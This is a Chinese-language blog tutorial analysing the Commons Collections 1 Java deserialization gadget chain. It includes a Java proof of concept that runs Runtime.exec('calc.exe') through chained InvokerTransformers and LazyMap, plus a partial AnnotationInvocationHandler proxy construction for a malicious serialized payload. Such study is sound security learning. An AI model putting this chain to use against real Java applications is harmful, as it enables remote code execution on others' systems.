0x01、基础知识铺垫

接下来这个过程将涉及到几个接口和类

1、LazyMap

我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);

2、Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

3、ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个实现类,它的过程就是在构造函数的时候传⼊⼀个

对象,并在transform⽅法将这个对象再返回:

4、InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序

列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名第⼆个参数

是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表

后⾯还提供了transform⽅法,就是执⾏了input对象的iMethodName⽅法:

5、ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个实现类,它的作⽤是将内部的多个Transformer串

在⼀起。

也就是Stream中的概念,链式调用

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

6、Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

7、decorate

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

LazyMap是在get方法去调用方法,当调用get(key)的key不存在时,会调用transformerChain的transform()方法

0x02、exp的分析

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.util.HashMap;
import java.util.Map;
public class test02_cc1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("key", "0x7e"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}

我们先看看这段代码,看不懂没事,我们分段一步一步分析

0x03、第一部分分析

可以看出这边是new一个Transformer类型的数组,里面存储的都是Transformer的实现类

第一个元素中是ConstantTransform:

为什么是传入Runtime.class,因为Runtime类不用实现Serializable接口,所以没办法进行反序列化

Runtime.getRuntime()Runtime.class的区别 ,前者是⼀个 java.lang.Runtime对象,后者是⼀个 java.lang.Class 对象。Class类有实现Serializable接⼝

然后通过类名.class反射获取到了Runtime对象

接下来就是InvokerTransformer;通过前置知识铺垫,我们知道第⼀个参数是待执⾏的⽅法名第⼆个参数

是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
getMethod, null, getRuntime
invoke , null, null
exec , null, calc.exe

参数类型如下

接下来我们进去InvokerTransformer.class内部查看一下代码怎么执行的

这边需要回顾一下getMethod方法的使用

点击查看另外一篇文章操作成员方法

由此我们知道getMethod第一个参数是要调用方法的名称,第二个是要执行的参数类型

invoke第一个参数是获取到的class对象,接下来就是按照对应格式传入参数

这边就非常清楚了,调用java.lang.Runtime里面的getRuntime方法,获取到对象

接下来的几个InvokerTransformer也是一样的,就不细细分析了

0x04、第二部分分析

这边是链式调用,什么是链式调用函数

想深入了解的可以看看这边文章https://www.jb51.net/article/49405.htm

经过ChainedTransformer

会依次执行Transformer[]数组里面的方法,最后变成如下这段代码

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

最后再创建一个Map,并传入键值对,通过decorate方法

这边可以看到第一个是map,也就是我们上面创建的map,然后就是Transformer[]数组,在返回回来

最后你会疑问,咋返回的Map跟上面没区别?

这时候可以百度一下LazyMap是怎么回事的

也就是说,当get方法被调用的时候,这个LazyMap才会创建执行,当调用get(key)的key不存在时,会调用transformerChaintransform()方法

tmpmap.get("hello");

所以这边hello的key是不存在的,所以执行了恶意代码

那我们可以get("key")试试

因为我们有这个key,所以没有执行恶意代码,事实证明,我们的想法是正确的

0x05、第三部分分析

通过此处,f7步入get()方法内部

传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法

ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法

导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

0x06、序列化构造

上文是执行成功了,但是我们需要构造恶意的序列化,我们知道,只要调用了get方法,就会执行rce了

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

当时我们要怎么调用这个AnnotationInvocationHandler#invoke()

这时候我们可以借用对象代理进行调用

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

//获取class对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//根据参数类型获得对应的Constructor对象,第⼀个参数是⼀个Annotation类
//第⼆个是参数就是前⾯构造的Map
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//设置暴力反射
construct.setAccessible(true);
//通过newInstance实例化对象,从而执行构造函数,导致rce
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //新增
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是

sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用

AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

由于存在漏洞的AnnotationInvocationHandlerjdk版本找不到,序列化的构造就这样敷衍的写一写

Commons Collections1分析的更多相关文章

  1. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  2. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  3. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  4. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  5. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  6. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  7. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  8. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  9. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

随机推荐

  1. 符号三角形——F

    F. 符号三角形 Time Limit: 1000ms Memory Limit: 32768KB 64-bit integer IO format:      Java class name: 符号 ...

  2. 开启telnet的几种方法

    开启telnet方法一:需要VTY的密码和进入超级权限的密码(VTY虚拟终端,一种网络设备的连接方式) [R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 19 ...

  3. javascript quine

    javascript有一些奇怪的性质,恩,比如说,非常容易写一个quine,即自己输出自己代码的东西. function a(){console.log(a.toString()+";a() ...

  4. hdu 4711 动态规划

    思路:其实这题是个挺水的动态规划,一开始就能AC,可是不知道错哪了,瞎改瞎交,WA了数十次.AC之后怎么改都是AC,也不知道改了什么地方,郁闷死了~~~难道开始时的测试数据有问题??? dp[i][j ...

  5. MVC MVC 路由详解

    在项目中我们引用了System.Web.Routing;   Routing的作用: 确定Controller 确定Action 确定其他参数 根据识别出来的数据, 将请求传递给Controller和 ...

  6. JavaSwing JScrollPane的使用

    JavaSwing JScrollPane的使用: 参考:http://duyz.blog.ifeng.com/article/340649.html package com.srie.test; i ...

  7. 微信小程序的开发环境搭建(Windows版本)

    前言: 小程序是指微信公众平台小程序,小程序可以帮助开发者快速的开发小程序,小程序可以在微信内被便捷地获取和传播:是一种不需要下载安装即可使用的应用小程序,和原有的三种公众号是并行的体系.2017年1 ...

  8. cesium编程入门(七)3D Tiles,模型旋转

    cesium编程入门(七)3D Tiles,模型旋转 上一节介绍了3D Tiles模型的位置移动,和贴地的操作,这一节来聊一聊模型的旋转, 参考<WebGl编程指南>的第四章 假设在X轴和 ...

  9. 18.1 volatile的作用

    volatile的作用是作为指令关键字,确保本条指令不会因编译器的优化而省略,且要求每次直接读值. 1.编译器的优化 在本次线程内,当读取一个变量时,为提高存取速度,编译器优化时有时会先把变量读取到一 ...

  10. hive中的with用法

    hive 可以通过with查询来提高查询性能,因为先通过with语法将数据查询到内存,然后后面其它查询可以直接使用,这种方法与创建临时表类似但是不需要创建临时表实体表,内存中的子查询结果在会话结束后会 ...